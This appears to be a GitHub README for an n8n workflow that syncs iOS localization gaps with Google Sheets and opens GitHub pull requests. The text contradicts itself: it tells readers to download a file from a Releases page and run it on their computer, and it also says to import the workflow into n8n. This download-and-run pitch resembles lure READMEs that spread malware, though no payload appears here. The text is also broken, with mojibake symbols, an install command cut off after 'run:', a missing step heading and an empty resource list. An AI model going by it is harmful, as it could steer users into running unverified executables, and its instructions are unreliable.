π n8n-Syncing-iOS-localization-gaps-with-Google-Sheets-and-GitHub-PR-placeholders - Keep Your iOS Localization Accurate

π Description
This n8n workflow automation helps you track localization gaps in your iOS apps. It automatically compares iOS strings to your Google Sheets, generates placeholder entries, and opens GitHub pull requests for your review. Use it to ensure your translations are always accurate and ready for release.
π Getting Started
To use this application, you need to first download it from our Releases page. Follow the steps below to set everything up.
π Download & Install
Visit this page to download: Releases Page
- Click on the link above to go to the Releases page.
- Find the latest version of the application.
- Click on the appropriate download link for your system.
- Once the download finishes, locate the file on your computer and run it.
π Requirements
Before you start, make sure your computer meets the following:
- Operating System: macOS or Windows
- n8n Installed: You should have n8n installed to run this template.
- Google Sheets Account: You need a Google account to access your sheets.
- GitHub Account: Make sure you have a GitHub account to handle pull requests.
π¬ Step-by-Step Guide
Follow these steps to set up the workflow:
1. Install n8n
If you havenβt installed n8n yet, here are the steps:
- For macOS users, install Homebrew and then run:
- For Windows users, download the Windows installer and follow the instructions.
You must set up Google Sheets for this workflow:
- Create a new Google Sheet or open an existing one.
- Add columns for your strings and translations.
3. Import the Workflow
Once you have n8n ready, import this workflow:
- Open n8n in your browser (usually at
http://localhost:5678).
- Click on the βImportβ button in the top menu.
- Choose the downloaded workflow file.
- Follow the prompts to load the workflow into n8n.
4. Connect Your Accounts
You need to link your Google Sheets and GitHub accounts:
- In n8n, go to the credentials section.
- Add your Google Sheets and GitHub credentials.
- Make sure to test the connections to verify they work.
5. Run the Workflow
To run the workflow:
- In n8n, select the workflow you imported.
- Click on the βExecute Workflowβ button.
- Review the generated pull requests and localization gaps, then approve them.
π·οΈ Topics
This project covers multiple important topics:
- GitHub Pull Requests: Automate your pull requests.
- iOS Localization: Keep translations accurate.
- n8n Workflows: Utilize automation for efficiency.
π Support
If you encounter issues or have questions:
- Check the GitHub Issues section of this repository.
- Ask for help from the community via GitHub Discussions.
π License
This project is licensed under the MIT License. You can view the full text in the LICENSE file within the repository.
π₯ Contributing
We welcome contributions! If you wish to improve this project:
- Fork the repository and make your changes.
- Submit a pull request detailing what youβve done.
- Ensure your code is clean and well-documented.
π Additional Resources
For more information, consider checking out:
Make sure to visit the Releases Page to download the latest version and start improving your localization workflow.